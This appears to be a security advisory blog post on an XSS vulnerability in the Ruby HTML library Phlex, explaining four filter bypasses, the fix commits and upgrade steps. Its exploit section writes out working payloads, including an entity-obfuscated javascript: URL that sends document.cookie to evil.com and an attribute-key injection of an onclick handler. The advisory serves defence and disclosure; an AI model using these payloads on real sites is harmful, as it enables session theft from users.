GHSA-W67G-2H6V-VJGQ

Phlexing on the XSS Filters: A Comedy of Errors in Ruby Views

Alon Barad
Alon Barad
Software Engineer

Feb 8, 2026·6 min read·0 visits

Executive Summary (TL;DR)

Phlex attempted to sanitize HTML generation using blocklists but failed to account for browser parsing quirks. Attackers can bypass XSS protections using HTML entities (e.g., 'javascript:'), attribute injection via whitespace/slashes, or malicious dynamic tag names. Update immediately.

Phlex, a Ruby library designed to write object-oriented HTML, suffered from a catastrophic failure in its Cross-Site Scripting (XSS) mitigation logic. Despite intended protections, the library failed to account for the chaotic nature of HTML parsing, allowing attackers to inject malicious JavaScript via four distinct vectors: attribute splatting, dynamic tag generation, HTML entity encoding, and SVG context manipulation. The vulnerability stems from an over-reliance on regular expressions for sanitization without understanding the full breadth of browser parsing behaviors.

The Hook: When Objects Meet Raw HTML

In the Ruby world, we love objects. We hate writing raw HTML strings because, frankly, it feels like going back to the Stone Age. Enter Phlex, a library that promises to let you write your views as pure Ruby objects. It’s fast, it’s cleaner than ERB, and it claims to be safe. But here is the dirty secret of almost every "safe" HTML generation library: eventually, it has to turn those beautiful objects into a dirty, chaotic string of text that a web browser can understand.

And that conversion point—where the Ruby object becomes an HTML string—is where the bodies are buried. Phlex implemented its own XSS protection mechanisms. It decided to sanitize inputs by checking them against lists of "bad" characters or protocols. If you've been in security for more than five minutes, you know that blocklisting is a fool's errand. You cannot enumerate every way a browser might misinterpret a string as code.

This vulnerability isn't just a simple bug; it's a masterclass in why parsing HTML with regular expressions is like trying to defuse a bomb with a hammer. The developers missed edge cases in attribute names, tag names, and URI schemes, creating a perfect storm where four distinct vectors allowed attackers to walk right past the security guards.

The Flaw: A Quadruple Threat

The vulnerability breaks down into four distinct failures of imagination. Let's dissect them.

1. Attribute Injection (The Space Problem) Phlex allows "splatting" attributes, meaning you can pass a Ruby hash like div(**attributes). The library checks the keys to ensure they don't contain dangerous characters. Specifically, it checked against /[<>&"']/. Do you see what's missing? Spaces (\s), equals signs (=), and slashes (/). In HTML, <div foo onclick=alert(1)> is valid. If an attacker can inject a space into an attribute name, they can start a new attribute. Phlex allowed keys like "foo onclick", rendering <div foo onclick="...">.

2. The Entity Bypass (The Browser Decoder) Phlex tried to block javascript: links. Standard stuff. But it checked the literal string. Browsers are helpful little agents of chaos; they decode HTML entities in attributes before executing the protocol. So, javascript: is blocked, but java&#x73;cript:? Phlex saw that as a safe, relative URL. The browser saw it as code execution.

3. Dynamic Tag Injection Phlex has a tag method for custom elements. To prevent you from making a <script> tag, it validates the symbol passed to it. The logic was: "If it has a hyphen, it must be a custom element, so it's fine." It didn't enforce that the rest of the string was safe. An attacker could pass :"x-widget onclick=alert(1)", and Phlex would dutifully render <x-widget onclick=alert(1)>.

4. SVG Blind Spots SVGs are a nightmare of complexity. Phlex filtered href and src, but forgot xlink:href, a deprecated but widely supported attribute in SVGs that can also execute JavaScript. It's the classic "forgot to lock the back door" scenario.

The Code: Regex vs. Reality

Let's look at the "fix" commits to understand just how wide the window was. The primary patch landed in commit 9f56ad13bea9a7d6117fdfd510446c890709eeac.

The Attribute Splat Fix

Previously, Phlex used a lenient regex. The fix introduces a much stricter blocklist for attribute names.

# BEFORE: Only blocked basic HTML syntax chars
# keys.any? { |key| key.match?(/[<>&"']/) }
 
# AFTER: Blocks whitespace, equals, slashes, control chars
UNSAFE_ATTRIBUTE_NAME_CHARS = %r([<>&"'/=\s\x00])
 
if attributes.keys.any? { |k| k.match?(UNSAFE_ATTRIBUTE_NAME_CHARS) }
  raise ArgumentError, "Unsafe attribute name detected..."
end

The Entity Decoding Logic

The most interesting part of the patch is the realization that you cannot validate a URL without decoding it first. They added a dedicated private method to handle this normalization before checking the protocol.

# NEW: Decode entities before checking for 'javascript:'
def decode_html_character_references(s)
  s = s.to_s.gsub(/&(?:#[xX][0-9a-fA-F]+|#[0-9]+|[a-zA-Z0-9]+);/) do |match|
    # Complex logic to resolve entities like &#x73; -> s
    # ...
  end
  s
end
 
# Usage in safety check:
normalized_value = decode_html_character_references(value)
if normalized_value.downcase.strip.start_with?("javascript:")
  # BLOCK IT
end

This highlights the fundamental disconnect: The developer wrote Ruby code to check a string, but the browser runs an HTML parser to interpret it. Unless your check mimics the parser, you lose.

The Exploit: Bypassing the Gates

If you were targeting an application using a vulnerable version of Phlex, here is how you would construct your payload. We assume you have control over keys in a hash passed to a view component, or input that ends up in a dynamic tag.

Scenario 1: The Attribute Injection Imagine a view that accepts a hash of options for a container div.

# Vulnerable View Code
class Card < Phlex::HTML
  def view_template
    div(**@user_options) { "Content" }
  end
end

Attacker input: { "data-id/onclick": "alert(document.domain)" }

Rendered HTML: <div data-id/onclick="alert(document.domain)">Content</div>

Depending on the browser's parsing of the slash, or if the attacker used a space (e.g., "data-id onclick"), this renders an executable event handler detached from the data-id attribute.

Scenario 2: The Entity Obfuscation Targeting user-supplied links is even easier. If the application allows users to set a profile URL:

Input: java&#x73;cript:fetch('https://evil.com/'+document.cookie)

Phlex check: "Does this start with 'javascript:'? No, it starts with 'j'. Safe."

Browser execution: Decodes &#x73; to s, sees javascript:, executes payload. Game over.

The Mitigation: Upgrade or Die

There is no configuration change that fixes this. The flaw is in the core output generation logic of the library. You must upgrade the gem.

Remediation Steps:

  1. Identify: Check your Gemfile.lock for phlex. Any version prior to the February 6, 2026 release is vulnerable.
  2. Update: Run bundle update phlex immediately. The fix was backported across multiple branches, so you should find a safe version for your major release line.
  3. Audit: If you cannot update immediately (why?), you must manually sanitize all hash keys passed to Phlex components and strictly validate all URLs using a robust URL parsing library, not just a regex check.

Developer Takeaway: Never trust your own regex to validate security boundaries. HTML is not a regular language; it is a soup of legacy parsing rules and edge cases. If you are building a view layer, assume every input is hostile until proven otherwise by a parser that understands the context (HTML, JS, CSS) it is rendering into.

Fix Analysis (2)

Technical Appendix

CVSS Score
8.1/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Affected Systems

Ruby on Rails applications using PhlexSinatra applications using PhlexHanami applications using PhlexAny Ruby application using Phlex for HTML generation

Affected Versions Detail

Product
Affected Versions
Fixed Version
phlex
Phlex
< Feb 6 2026 ReleaseFeb 6 2026 Release
AttributeDetail
Attack VectorNetwork (Input to View Layer)
CVSS8.1 (High)
CWEsCWE-79 (XSS), CWE-116 (Improper Encoding)
Exploit StatusPoC Available / Functional Exploit
ComponentsAttribute Splatting, Dynamic Tag Helper, Protocol Filter
Fix ComplexityLow (Library Update)
CWE-79
Cross-site Scripting (XSS)

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Vulnerability Timeline

Initial fix commit 9f56ad13 pushed
2026-02-06
GHSA-W67G-2H6V-VJGQ Published
2026-02-06

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.